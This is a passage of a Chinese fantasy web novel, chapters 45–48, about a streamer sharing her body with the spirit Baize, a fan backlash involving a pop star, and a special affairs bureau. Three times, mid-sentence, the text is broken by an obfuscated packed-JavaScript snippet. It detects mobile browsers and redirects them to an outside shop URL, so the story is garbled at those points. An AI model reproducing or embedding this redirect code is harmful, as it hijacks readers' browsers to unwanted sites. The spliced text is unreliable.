这只妖核呈紫色,周围隐隐缀着流光,十分漂亮。 安随好奇地握在手里,问道:“这是什么妖的妖核?” “魅妖,长得十分美丽,变幻的人形有男有女,这只是幻化的男人,魅惑了一个人类女子,并将她吞食了。我路过的时候,感受到了他身上吸食人的气息,便将他杀了,取了他的妖核。” “等等,你什么时候去杀的,我怎么不知道?” “在你晚上修行的时候。” “所以,你趁我睡觉的时候,操控着我的身体出去杀妖怪了?” “不然你的妖核哪来的?” 白泽见她没再说话了,还以为她感动了,于是道:“你不用太感谢我,我只是白天睡多了晚上出去散散步而已。” “不是,我只是担心,我不会被学校发现吧?”安随想到这个,头都痛了。 一想到白泽顶着她的身体天天在外面游荡,就有点发怵,学校不会把她当妖怪收了吧? “你放心,不会有人发现的。” 毕竟那个点,学校静悄悄的,所有人都进入了梦乡,他每次出去的时候,外面一个人都没有。 能遇到的,也只有妖怪了,正好合了他的心意。 “好看的皮囊千千万,这只魅妖并不算太美丽,却还是蛊惑了那名女子的心,白白赔上了自己的性命。” 安随觉得白泽今晚的话有点多。 “你受刺激了?” “什么刺激?” “是不是看到贺知舟的身材比你好,唱歌比你好听,跳舞也比你好看,所以心里有点不平衡了?”安随觉得自己发现了真相,不然白泽怎么突然有了这么大的变化,还在这说些莫名其妙的话。 白泽闻言,脑门上也只显示了两个字:无语。 人在无语的时候真的会想笑。 “嗯。”白泽点了点头,顺着她的话应了声。 “我就说嘛,你不要自卑,勤能补拙,从今天开始加强练习,未来你也有可能成为舞台上的强者。” “好。” 东拉西扯了一会儿,白泽离开了,安随开始进行修行。那妖核非常漂亮,流光溢彩的,竟让安随有点不忍吸收了。 只不过短暂的不忍后,安随便说服了自己,把它只当成一个普通的妖核进行吸收。 凌晨两点半,飞机落地锦城机场。乘客们陆续下车,而沉浸在修行的安随却没有听到。 飞机上的乘客都下车了,只剩下安随一个人还睡着,乘务员过来叫她,唤了几声都没把她唤醒,待要找其他人过来时,却见安随睁开了眼,只是那双眸子却有一丝异样,似乎对周围的一切都显得漠然。 45. 第 45 章 白泽从飞机上下来,外面依然灯火通明,有不少出租车在机场门口等着拉客,白泽排队上了一辆出租车。 锦城的夜晚比京市热闹多了,夜景也很漂亮,凌晨三点的城市并没有沉睡,而是在为新的一天做准备。 从机场到学校,有半个小时候的路程。司机的速度不快,开的车也很稳,前方的车流变少,这段路白泽记得并不长,但走了半个多小时的路程,却依然没有看到熟悉的街道。 白泽抬眸看了眼司机,司机的目光一直注视着前方,没有开口说一句话。 出租车拐进了一条小路,那路只能容两辆车错车而过,印象中白泽并没有走过这一段路。 “是不是走错了?”白泽问。 司机从后视镜里看了白泽一眼:“这条路近。” “哦。”白泽又闭上眼,开始闭目养神。 不知过了多久,司机终于停了下来,白泽睁眼,却见周围静悄悄的,没有一点光亮,除了车灯发出的微弱灯光。 “到了?” “是啊,你的死期到了。”司机突然发出桀桀的笑声,整个人在原地消失,伴随着车门被摔得砰砰作响的声音。 白泽伸了个懒腰,从车上下来,整个人靠在门上,声音慵懒:“谁的死期到了还不一定呢。” “死到临头还嘴硬!”那声音恼羞成怒,白色身影快速在白泽面前闪过,一阵风吹来,凉飕飕的,氛围看着确实有点诡异。 周围“桀桀”的笑声越来越多,无数白影在白泽面前略过,看这数量,不下二十个。 “就你们几个?还有吗?一起上。” 这话无疑更加惹怒了白影,只见无数白影蜂拥而上,将白泽笼罩在白影之下,但很快,接二连三地有白影被击飞,伴随着此起彼伏的惨叫声。 直到最后一个白影落在地上,白泽终于换了个姿势,打了个哈欠:“真不禁打。” “还有吗?没有我要回去睡觉了。” 没有人回答他。 白泽叹了声气,看着地上躺得整整齐齐的白影,一个一个地将他们的妖核都取了出来。 这里的地妖还不少,不知道他们为什么聚在这里,倒白白便宜了他。 这些妖核够安随修行很久,他也可以休息好长一段时间了。 下山的时候,白泽看着那辆出租车,有点后悔刚才没留个活口,这样至少有妖能把他送回学校,他不会开车,只能走到山下去打车了。 沿着公路往山下走了一段距离,前面突然出现了一辆黑色的商务车,白泽看了那辆商务车一眼,有些想蹭车,但对方和他方向相反,想来也不会同意。 和商务车擦身而过的时候,后排的车窗却摇了下来,一个男人从车窗里探出脑袋,问他:“你回哪?我们送你回去吧。” 白泽看了那男人一样,随后低头继续往前走。 商务车却突然停了下来,从上面走下来一个男人,他的腿很长,几步就跨到了白泽面前。 “这里离市区很远,路上也不好打车,我们送你回去吧。”贺知舟还在那里劝。 白泽本来想继续装深沉的,但是一想到自己不知道还要走多久才能走回学校,想了想还是上了贺知舟的车。 “你住在哪里?”贺知舟问。 “C大。” “还在读大学啊。”贺知舟打量了白泽一眼,虽然车里的灯光灰暗,让人看不清她的神情,却总觉得她的气质和先前不一样。 变得没有那么鲜亮了。 “你的签名照送出去了吗?”贺知舟再次开口,打破了沉静。 “嗯。” “你朋友喜欢吗?” “喜欢。” “那就行。” 自此,两人陷入了诡异的安静中。 贺知舟也察觉到对方并不想和他多说话,但怎么会呢?她不是他的粉丝吗?难道她来参加演唱会真的只是帮别人送礼物的吗? “你喜欢吗?”贺知舟脱口而出,说完便有些后悔了。 “喜欢什么?”白泽满脸问号地看着他,心里却在吐槽他的话有点多,就不能安安静静地坐会儿吗? “算了。”贺知舟也觉得他在自讨没趣,不再开口。 先前出租车司机将白泽拉到了一坐山上,这会儿沿着盘山公路一直往下走,车开得慢,几乎感觉不到颠簸,在一个拐弯的地方,前方突然窜出一个白影从车前方一闪而过,司机猛地打了个转向,贺知舟的身体猝不及防地撞在了车门上,隐隐有丝疼痛,再看白泽,却见他稳如泰山地坐在位子上,丝毫没受影响。 这么一比较,贺知舟明显落了下风,还在白泽面前出了糗。 贺知舟坐正后,轻咳一声,问司机:“怎么回事?” “刚才不知道有个什么东西窜过去了,没看清。”司机心有余悸道。 “或许是流浪猫狗之类的吧。”贺知舟也没在意。 白泽却突然问道:“你住在这山上?” “对。”贺知舟见她终于主动挑起话题,语速也变得轻快:“我在山上买了栋别墅,明天在锦城有个活动,所以今晚就住在这里。” “平时看到的流浪猫狗多吗?” “没注意。”贺知舟确实没注意这些,他经常回来都是半夜,很少关注窗外的事情。今晚也是因为司机在那说有个女孩在往山下走,他这才多看了一眼,他的记性还不错,一眼便认出了白泽。 白泽见他一问三不知,也知道自己问得多余了,贺知舟恐怕难得来一趟锦城,自然对这里的了解甚少。 小插曲过后,一路上倒没发生什么事。车辆行驶到了主路,路上的车子变得多了起来,白泽执意在这里下了车,准备自己打车回去。 贺知舟也不勉强,见到她打上了车,这才和司机返回了山上。 白泽到学校的时候已经四点了,离天亮还早,他趁着夜色进了学校,回到宿舍,又蹑手蹑脚地躺回了床上。 一旁的宋知冉听到了她的动静,小声问道:“安安,你回来了?” “嗯。” “那你快点补会儿觉,一会儿还要上课。”宋知冉说完,又睡了下去。 白泽闭上眼睛,将身体的主动权还给了安随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894458|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只不过这会儿安随还在修行,并没有察觉到。 七点的时候,小凤凰准时将宿舍的三人叫醒。 现在的小凤凰宛然成为闹钟,每天的任务就是叫几人起床。 安随醒来,便感觉到自己的腿有些酸,也不知道昨晚白泽又操控着她的身体跑到哪去打妖怪。 她的记忆还停留在飞机上睡着的时候,一觉醒来她已经在宿舍了,明显是白泽回来的。 安随对白泽还是放心的,也没多问,和室友一起去上早八。 她们进教室还算早,一进去便听到有人讨论贺知舟今天来锦城的事。 “哥哥来锦城了,好像是晚上要参加一个活动,具体是什么活动不清楚。” “啊啊啊啊我昨天还在后悔没去京市看演唱会,没想到今天就能在这看到舟舟,简直太幸福了!我晚上要去看!” “别想了,现在是什么活动,在哪里参加都不知道,你怎么看?” “后援会一点都没透露吗?” “后援会捂得很紧,根本不知道是什么,知道他来锦城也是有姐妹在飞机上偶遇他,这才知道的。” “啊,看来只能等官方物料了。” 几个女生坐在后排七嘴八舌地讲着,见到安随三人过来,便有人冲她们挥手:“安安,快过来坐。” 三人也不好拒绝,便走了过去坐在一旁。 “安安,昨晚的演唱会怎么样?能和我们说说吗?有没有照片啊?” “还行吧,现场不让拍照。”安随以前没看过演唱会,不知道其他人的演唱会是什么样的,但她觉得昨晚的体验还不错,贺知舟也很帅,挺养眼的。 “哦哦,那算了。”那女生有些遗憾,过了会儿又问道,“你不是给嘻唰唰送香囊吗?送了没有?舟舟接了吗?” 这个班大部分都知道她在直播,知道她替嘻唰唰完成心愿也不意外。 “送了,接了。” “天呐,舟舟也太温柔了。”那女生幸福得都快哭了。 安随有些不能理解只是送个东西,就把她感动得哭了,感觉,过于夸张了。 “你不知道,上次在机场的时候,舟舟接了粉丝送的一封信,结果就烂脸了,一个多月都没露面,没想到这次,他还是接了。” 这倒让安随有些意外,听起来确实是个温柔的人啊,和他的身材完全不相符。 不过,那香囊她反复看了好多次,也让白泽帮忙看了,确实没什么危险,她这才送了,应该不会对贺知舟有影响吧。 想到这里,安随便想着还要和粉丝反馈结果。她昨晚说了让贺知舟发微博,看女生的意思,他应该是没发,安随也不在意,想着他应该是在忙,早晚都要发的,毕竟演唱会那么多人都听到了,他总不可能变卦吧。 哪知刚那么想,便听到女生的尖叫:“啊啊啊啊,舟舟发微博了,快看!” 说着便把手机凑到几人面前。 众人一看,便见贺知舟配了两张图,一张是香囊的独照,人没有入镜,另外一张人入镜了,背景却是在C大门口,配文:“锦城真的很美。” 46. 第 46 章 “啊啊啊啊,贺知舟来我们学校了!天呐,我我我我要出去看!”那女生兴奋得语无伦次,站起身就要往外走,却被另外一名同学拉着坐了回去。 “八点了,你看啥?老老实实上课吧,人这会儿说不定都走了。” 那女生这才老实了,一想到第一节课是大魔王的课,她就忍不住打了一个哆嗦,可千万不能被大魔王逮着了,不然就惨了。 上课铃声很快响起,同学们赶紧坐好,很快大魔王便拿着书走了进来。大魔王是学生给高数老师起的外号,高数本就深奥,偏偏老师讲的也深奥,人还严肃,上课都不敢交头接耳,不然很容易被他点名回答问题,时间久了,学生们便有点怕他了,上课也不敢开小差,白泽上的第一节课就是被这老师折磨的。 安随听得很认真,她前段时间去了李家村,落了几节课,回来的时候还恶补了一番,这会儿上课却是不敢开任何小差的,不然又要跟不上了。 一上午的时间安随都在认真听课,却不知道舆论已经开始发酵。 午饭时间,安随这才有空刷了会儿微博,发现贺知舟发的那条微博转赞评都已经上了百万,这条微博下还关联着“锦城赢麻了”的热搜词条,安随点进去一看,发现这条热搜已经顶到了前五,一瞬间被贺知舟的热度震惊到了,这不过短短四个小时的时间,网络上的热度已经发酵到压都压不住的状态,甚至前面也有几个词条是关于锦城的。 安随翻看着微博词条,却突然发现一条热搜正缓慢往上爬。 “白泽送贺知舟礼物。” 吃瓜竟吃到自己头上了。 安随好奇地点了进去,入目的便是贺知舟配的那张香囊的图,下面有不明所以的网友问白泽是谁,为什么要送贺知舟香囊,很快便有看过演唱会的粉丝解答了他的疑问,得知白泽是个主播,粉丝们起先还以为白泽和贺知舟认识,两人在演唱会上互动是一早就安排好的,毕竟白泽坐在第一排,第一排大多是友情票,很容易便让人觉得两人是认识的。 但很快又有人把那天白泽直播时的录屏放了出来,可以确定白泽在之前压根不认识贺知舟,去看演唱会只是为了完成粉丝的心愿,明显是临时起意的。而且白泽只是个普通大学生,所以,她又是从哪里得到演唱会门票的?毕竟那个时候门票早就卖光了,除非去黄牛那买。 如果真是这样,那……白泽作为一个公众人物,却公然支持黄牛…… 不少粉丝已经开始炸了。 “我去,这个叫白泽的主播哪里买的票?难道是黄牛那?” “我们一直抵制黄牛,也呼吁粉丝别去黄牛那买高价票,白泽作为公众人物却买黄牛票,也不怕砸了自己的口碑。” “天哪?为什么让她抽到和哥哥互动的机会啊?给她简直浪费,已经开始心梗了。” “呜呜呜我蹲了那么久都没买到票,为了支持哥哥宁愿不去也不会买黄牛票,一想到这个我还不如去黄牛那买票呢。” “姐妹千万不能那么想,她不守规矩是她的事,自己不爱惜自己的羽毛,我们可不能学她。” “这种人还有粉丝啊?简直难以置信。” 铺天盖地的恶言恶语朝安随扑面而来,安随都还没搞清楚状况,便发现自己已经被贺知舟的粉丝围攻了。 突然就觉得他不帅了怎么办? 有粉丝看不下去,在评论区替白泽说好话,却被贺知舟的粉丝大军压了下去。对方人多势众,安随那点三瓜两枣的粉丝压根不是对手,不仅没帮上忙,自己反而陷入了舆论的漩涡。 安随看不下去了,注册了个微博账号,发了第一条微博。 主播白泽:“和贺知舟不认识,被抽到是我运气好,你没抽到只能说你运气差。票是别人送的,不是黄牛票,没那个闲钱。你家哥哥很帅,但现在,我觉得他不帅了。” 三句话把粉丝的疑问都回应清楚了,但是话听着却让粉丝觉得怪不舒服的。 好歹是个公众人物,说话那么直截了当,毫不客气的吗? “现在的主播都那么有个性吗?” “口气那么大,还以为是个大主播,一看粉丝,才250。” “丑人多作怪,也不照照镜子,话说真的有人粉她吗?你们到底喜欢她什么啊?她那样也不像颜值主播啊!” 这就明显是为黑而黑了,安随的五官是标准的美人,只是以前因为太瘦了,显得没肉,整个人气质不显。 经过这段时间的调养,她脸上渐渐有了肉,身材匀称,已经有了明显的变化,气质也凸显了出来,走在大街上也是会让人惊艳的程度。 不过安随倒不在意别人对她外貌的评价,她以前为了生计,也不会在意自己的容貌,如今生活好了起来,想的依然是怎么赚钱,怎么修行,压根没注意过自己容貌的变化,所以这句话对她是没有杀伤力的。 但是她的粉丝却受不了了。 被开除人籍的粉丝集体破防。 “活了二十多年头一次被开除人籍,还见识到了物种的多样性。” “看不到的白泽的美的人,只能说得去看看眼科了。” “贺知舟的粉丝都这么霸道吗?欺负一个小主播,小主播粉丝也要夹着尾巴做人咯。” “顶流嘛,可以理解。” “我们小主播何德何能,居然能让顶流的粉丝那么在意,是怕你家giegie不要你们了吗?” …… 双方粉丝在热搜里疯狂输出,而“白泽送贺知舟礼物”这条热搜热度越来越高,居然压过了“锦城赢麻了”的风头。 日常监测微博热搜的特事局工作人员:糟糕,白泽好像被欺负了。 于是,很快特事局的官方微博号发了条微博:@主播白泽演唱会看得开心吗? 发完微博后,又私信周安,让她和安随说和他微博互动。 安随在接到周安的微信后,点开了特事局的微博账号,只有可怜的几十个粉丝,连个蓝标都没有,真的不会被当冒牌货攻击吗? 安随扶额,她不想把火力转移到特事局上面,于是拒绝了他们的提议,也没有回那条微博。 她现在对贺知舟的粉丝没有好印象,连带着对贺知舟的印象也差到了极点。 这人纵容他的粉丝对无辜的她进行攻击,任由舆论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899628|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发酵,没有一点担当。 安随也不是第一次被舆论攻击了,不会像上一次那般无措。 她冷静地艾特了贺知舟:“你的粉丝不相信我们不认识,你出来说说吧。” 她把问题抛给了贺知舟。 她才不会让他躲在网络背后,像个没事人一般。 粉丝见她大喇喇地艾特了贺知舟,顿时笑了。 “你的脸皮怎么那么厚?你都说你和舟舟不认识,怎么会以为他会回应你啊?” “我们家舟舟很忙,不是谁的信息都回的。” “坐看小丑蹦哒,别说,还挺好看。” 安随没有理会他们的阴阳怪气,她在等,等着贺知舟的回应,如果没有得到任何回应,那就别怪她不客气了。 安随等啊等,眼见着时间一点点地过去,时钟走到了十二点半,却依然没有得到贺知舟的半句言语。 她开始冷笑,真是好样的! 安随把白泽唤了出来:“白泽,有办法查到贺知舟的黑料吗?我要曝光他。” 白泽:“?他怎么你了?” 安随:“他纵容他的粉丝网暴我。” 白泽:“……” 看着不像啊。 白泽对贺知舟的印象还停留在半夜搭他下山的时候,看得出来对方是个热心的人,或许这里面有什么误会。但安随现在正在气头上,他也不好触她霉头,只能应了她。 白泽得到安随的请求,脑海里浮现出贺知舟的容貌,开始回溯他的过去。 天之骄子,从小成绩优异,父母恩爱,家境优渥,精通几种乐器,还拿过街舞冠军,参加歌手大赛获得第一名,出道后人气爆棚,拿过无数奖项…… 光看这一串文字就已经让白泽开始嫉妒了。 怎么会有这么全能的人啊…… 他找了半天,也没找到贺知舟的一个黑点。 “没有。” 安随不信:“没有还是没找到?” 白泽:“你在质疑我的专业能力?” 安随:“行吧……” 当真有这么完美的人吗? 安随见白泽也找不到他的黑点,便自己去网上搜一些陈年旧闻,发现大多是夸赞他温柔热心肠,乐于助人等等。 有一个新闻说的是,他曾经救过一个落水儿童,还获得了见义勇为先进个人的称号。还每年给山区学校捐钱,做公益慈善…… 可恶…… 怎么会有这么好的人啊。 安随突然就没那么生气了。 而在安随执着于找贺知舟黑点时,那头贺知舟姗姗来迟。 贺知舟回复并转发了安随那条微博:“抱歉,刚拿到手机。请我的粉丝立即停止对@主播白泽的攻击,针对舆论,我在此做出以下回应:我和白泽是在演唱会上第一次见面,只是目光突然就落到她身上了,便选中了她,没有什么其他缘由,大家不要乱猜了。已经核实,她的票是我身边的工作人员送的,不是黄牛票,呼吁大家抵制黄牛。在此,我替我的粉丝向@主播白泽说声对不起,希望你不要放在心上。最后,希望我在你心里,依然是帅的。” 47. 第 47 章 贺知舟的微博一发,微博又被挤爆了,在网友眼里,贺知舟一直是一个温柔,对待任何人都和善的人,还从来没见过他对谁说过重话,如今却为了一个不熟的人和粉丝翻脸,一些玻璃心的粉丝顿时破防了,有的甚至开始回踩。 “贺知舟你真是飘了,你忘了当初是谁把你投到第一位的?现在就这么回报你的粉丝吗?” “呜呜呜伤心了,没想到舟舟竟然这么凶我们。” “舟舟你真的变了,你以前可从来不会对我们说一句重话的。” 当然有破防的粉丝,也有清醒的粉丝。 “我会一直支持舟舟的,他说的我都信,大家不要抱怨了,舟舟平常就是对我们太好了,才把你们惯得开始对舟舟的生活指手画脚了,请记住保持和偶像的距离,理性追星,大家都会有美好的未来。” “对啊,你们不觉得自己太过关注舟舟的私生活了吗?他和谁认识,和谁关系好不是他的自由吗?不会真的觉得平常叫他儿子叫他老公就能约束他了吧?” 两方粉丝在网上一番较量,吃瓜群众看了个热闹,倒对贺知舟的印象改观了。 而先前质疑白泽的粉丝,这会儿也跟随偶像的步伐,向白泽道歉,一时气氛变得和谐。 这事也算告一段落,安随也不是那种小心眼的人,既然对方诚恳道歉了,她也不会逮着这事不放。 她又上了速音,和粉丝们说了下事情的经过和结果,总之,这个事虽然中间有些小插曲,但最后也算圆满结束。 嘻唰唰也在底下留言,表达对安随的谢意。 经过贺知舟粉丝这么一闹,加上贺知舟艾特了她,下午的时候,安随便发现她刚注册的微博粉丝竟涨到了二十万,而她的速音粉丝也在这次舆论后涨到了三百万。 晚上八点,安随准时开启直播。 安随刚一打开直播,礼物特效就把屏幕刷卡顿了,密密麻麻的特效把安随的眼睛都看花了,她连忙关了特效,和粉丝说道:“大家晚上好啊,从今天开始,如果没有特殊情况,工作日我会从晚上八点播到十一点。” 安随话音刚落,评论区顿时炸了。 “我去,太阳这是打西边出来了?白泽竟然固定了直播的时间?” “家人们,你们说白泽是不是被换芯了啊?不然怎么会说出这种温柔的话啊?” “活久见,白泽居然会定时直播了。” “天哪,我是不是被pua了,居然感动得快哭了。” “这是被白泽虐久了,你们随便看一个主播,谁不是每天定点直播啊,只有白泽在糊作非为,放飞自我。” 安随看了下评论区,顿时哭笑不得,不过她以前确实有些任性自我了,从今天开始,怎么也得规律点了。 直播的时间比较长,安随便问粉丝有没有什么意见,有粉丝提出再抽奖完成心愿,但被安随pass掉了。她才去了趟京市,有些嫌累,不想那么早再替别人完成心愿。 又有粉丝提议纯聊天,安随一想到要聊三个小时,顿时就萎了。 这个也pass掉。 便又有粉丝提议和其他主播打pk,安随没搞过这个,不知道是干嘛的,于是照着粉丝的提示连了个主播,结果被对方的鬼哭狼嚎吓到了,算了,打不过打不过。 安随发现自己还是没办法适应正常主播的节奏,最后索性还是按照自己的想法来。 就这么挂个三个小时,什么也不用说,这样最好了。 安随把自己的想法给粉丝们说了,粉丝们自然欣然应允,他们本来也没想看安随播其他的,就是因为白泽直播间特殊,他们才来的,如果千篇一律,他们还不愿来呢。 敲定了直播方向,安随胸口的那块大石也落下了。 一时直播间安安静静的,让人感觉不到时间的流逝。 京市,特事局。 自从上级下达了让他们每天观看一个叫白泽的主播直播后,局里不少人暗地里怨天怨地,心里想着上面的人是不是脑子被驴踢了,居然在知道能量体横行,大家都在抓紧提升能力的时候,让他们关注一个小主播直播。 该不会是哪个领导的亲戚吧? 这是他们一早的想法。 后来风眠跟他们说,让他们在白泽直播时练习,能事半功倍,不少人嗤之以鼻,觉得风眠在吹牛,毕竟特事局知道白泽的人还是少数几个,大部分人是不知道她的。 但风眠是二队队长,也是发布任务的人,他们自然得服从安排,于是在八点的时候,慢吞吞地进了直播间。 起初他们看到白泽只有三百万粉,他们是轻视的,毕竟速音大网红挺多,几千万粉丝的主播不少,三百万粉真的算是小主播了。 因此他们也没太在意,一直到看到白泽东拉西扯,一会又让他们提意见,一会儿又不满意pass掉,显得一点也不专业,甚至有人觉得耽误他练习,把直播间关了。 直到半个小时后,直播才步入正轨,特事局的人眼睁睁地看着先前还刷屏的网友,一瞬间便集体消失了,除了礼物特效和提示有人进入直播间,再没有一个人说话。 这……有点过于默契了,仿佛练习过很多次一般。 一直到这个时候,还有好多人不以为意,只是碍于上面的吩咐挂着直播间。 此时,风眠在工作群里发了条信息。 “@全体成员请所有人挂着白泽直播间,现在开始练习提升。” 此话一出,清一色的一排收到后,特事局的人开始正式进入练习阶段。 他们照着平常的节奏不停地刷能力的熟练度,所谓熟能生巧就是这个意思。有的人才觉醒能力不久,对能力的掌控还不熟,释放十次能成功一次,经过一段时间的练习,也提升到了两次,也算小有成效。 但今天晚上,他们突然发现,平日里准确度低的能力,准确率竟然提高到了十次里有五次成功,虽然离百发百中还有段距离,但和以前比起来,简直算是神速了。 此时,他们才意识到白泽直播间的含金量,他们收起了轻视,不敢再掉以轻心,而是全身心地投入到练习中。 风眠同样如此,他的能力是力量增强,别看他体格不粗壮,力气却不小,能轻松抗起一个两百斤的大汉。 自与巨蛇一战后,他身受重伤,回来休养了好一阵子,而练习也搁置了,因为手不能太用力,一用力就疼。 虽如此,他依然没有落下练习,只是力量却大不如前。 他今天也是抱着试一试的态度进来,他知道那些看白泽的直播间的学生,成绩都变好了,但是对他们的练习有没有同样的效果,得试了才知道。 虽然白泽说可以。 只不过他很快就知道答案了,在练习了一会儿,他便明显发现自己的力量回归,甚至隐隐比以前还要强。 而他也收到了其他人的反馈,基本上都是说有效果,夸赞白泽的。 风眠总算松了口气。 有练习效率提高的特事局人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903198|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,便忍不住在群里发了句感叹:“这效率,杠杠的!” 可惜没有人回复他,大家都沉浸在那种玄妙的感觉中。 自此之后,安随的口碑算是在特事局里打出来了,每晚八点成了他们最期待的日子。但因为平常他们要出任务,所以不是每个人每天都能看直播的,特别是那群能量体,喜欢在夜里行动,因此,他们需安排一个人值班,负责巡逻,一旦发现异常,整个队伍都得出动,这样既保证了练习,也不会耽误任务。 吱吱躲在特事局驻锦城办事处门口的地洞里,每天观察特事局人员的动向。以往他们四人每天都会出来巡逻,以保证周围环境的绝对安全。吱吱以前并不敢靠近,一旦靠近就很容易被人发现,然后被追逐,好在它擅长逃跑和躲藏,才数次从那群能力者手里逃脱。 吱吱之所以来特事局,只是为了观察他们的动向,它们这群护妖队的妖想要在人界存活下去,必须和这里的土著打好关系。前几次它们被发现后,试着和那群人讲道理,表明它们没有恶意,只是想在这里生存下来。那群人却不听它们的解释,抬手便要杀它们,吓得它们跑得飞快,不敢有一点停留。 其他妖不敢再去试探,只有吱吱在坚持,每天去特事局门口蹲守,数天后,终于让它发现了不寻常之处。 现在每天出来巡逻的人从四个变成了一个。 那个人只是在附近巡逻,有好几次在吱吱所在的地洞面前驻足,吓得吱吱屏住了呼吸,不敢弄出一点声响。 那双黑色靴子终于离开,吱吱悬着的心才终于落了下来。它又在洞内等了会儿,没有听到一点动静,这才蹑手蹑脚地往外爬。 天色已经很晚,只有昏暗的路灯照亮地面,但光线并不好,让人看不清外面的情况。吱吱探头探脑地看了会儿,也没看见有人影,这才大大地松了一口气。 它整个身体摊在墙洞口,看着那被夜色遮住的天空,突然就有些想家了。 按照人界的时间算,他们已经离开妖界有三个多月了吧。 只是吱吱很快就振作起来。 它的家已经不是家,而这里会成为它新的家园。 它们必须在这里立足。 吱吱给自己加油打气,趁着巡逻的人没在这,它跳上房顶便要跑去向同伴它发现的异常,哪里知道刚跳上去,却被一张从天而降的巨网笼罩住。 “唧唧唧唧——” 尖锐的叫声在寂静的夜里格外地明显。 巨网收拢,吱吱挣扎了半天,发现越挣越紧,它肥硕的身体被网勒得露出一块又一块肉,身体里的剧痛袭遍全身。 吱吱见挣脱不开,连忙求饶:“大人,我没有吃过人,求你放了我,我是个好妖!” 抓住它的人见它不挣了,这才将网提了起来,沉甸甸的。还别说,这只老鼠体型好大,他以前在人界从来没见过那么大的老鼠,果然成精了。 那人提着它往办事处里面走,里面的人还在开着直播练习,连他进来了也不知道,他也没打扰他们,而是把吱吱关进了负一楼的空房间里。怕它逃跑,他没有解开网,就这么让吱吱在里面呆着,旁边放了一小碗水和米。 门“吱呀”一声又关住了,屋子再次陷入了黑暗,吱吱被网罩住,挣脱不开,已经害怕得开始流眼泪了。 呜呜呜它不会被他们杀来吃了吧? 它真的是个好妖,连只蚂蚁都舍不得踩死。 呜呜呜想妈妈,想老大。 谁来救救它…… 48. 第 48 章 C大女生宿舍。 安随开着直播,而自己也在一旁看书和做题,不得不说,有了白泽直播间的加持,她的学习效率也高了很多。 十点的时候,一直沉默的白泽突然说话了。 “吱吱遇到危险了,你要去救它吗?” “嗯?”安随不明所以,“你怎么知道的?它在哪?” “我听到了它的呼救声,它被关在一间黑屋里面,我大致能感应到方向,你按照我的指示去就能找到他。”白泽说着,想了想又道,“这是一个能检验你修行成果的好机会。” 安随得知吱吱有危险,自然是要去救的,听白泽的语气,对方应该实力不算强,不然也不会放心她去救。想通了这点,安随便和室友还有网友说了声她有事出去一趟,直播间挂着,随后便离开了宿舍。 宋知冉和蒋栗面面相觑。 “安安什么事那么着急啊?都那么晚了还出去。”蒋栗有些疑惑。 宋知冉却大致猜到了什么原因,面上却不动声色:“不知。” 半个小时后,安随的身影出现在办事处门口。这是一处居民楼,此时大门紧闭着。安随有些不确定,问白泽:“你确定是这里吗?” “确定,我在门口都能听到他在里面呼救。” 安随站在门口听了会儿,没听到什么声音。虽然她的听力比常人好,但还是不能和白泽比的。但安随相信白泽说的,于是果断敲了门。 过了会儿里面的人应了一声,门从里面被打开,开门的是个光着膀子的男人,长得五大三粗,光头,脸上有一道刀疤,看着就不好惹。 那人上下打量了安随一眼,警惕地问道:“小妹妹,那么晚了有事?” 大半夜去敲陌生人的门,任谁都会多几分防备。安随自己也觉得有些不好意思,何况面对一个体型是她两倍的男人,她心里还是有些发怵的。 她不知道对方身份,但出于礼貌,还是问道:“请问你见过一只大老鼠吗?” 孟博:“???” 这里进老鼠了? 这个认知一浮现在脑海里,孟博便觉得自己头皮发麻,连身体也变得僵直,一动不敢动。 安随见他不说话,抬首看向对方,却见他站在那里一动不动,眼睛瞪得很大,似乎发现了什么惊恐的事。 一瞬间,安随觉得自己全身的汗毛也立了起来,她不敢回头,不知道她身后是不是站了什么厉害的东西,连对方也吓得不敢说话。 两个人就在门口这么僵持着,谁也不敢动,谁也不敢说话。 屋内的人见队友开了半天门也没进来,便疑惑地走到门口,便见两人站在那里大眼瞪小眼,谁也不敢动。 走出来的是个穿着休闲服的女人,打扮非常随性,一头利落的短发,整个人非常干练,身材瘦小,比安随矮了半个头。 这体型差…… 女人出言打破了沉静。 “你们在门口干嘛?” 霎时,两人像挣脱了束缚,身体顿时便松软下来。安随松了口气,见对方也松了口气,她这才往后看了眼,却什么也没看到。 安随忍不住便问对方:“你刚才看见什么了?那么害怕?” 孟博挠了挠他的光头,有些不好意思道:“我,我怕老鼠,我一听你说老鼠,就吓得不敢动了。” 女人嫌弃地看了男人孟博一眼:“看你那点出息,有啥子用。” 孟博被她说得脸都红了。 安随:“……” 果然人不可貌相,谁能想到长得人高马大的男人,居然还怕老鼠。 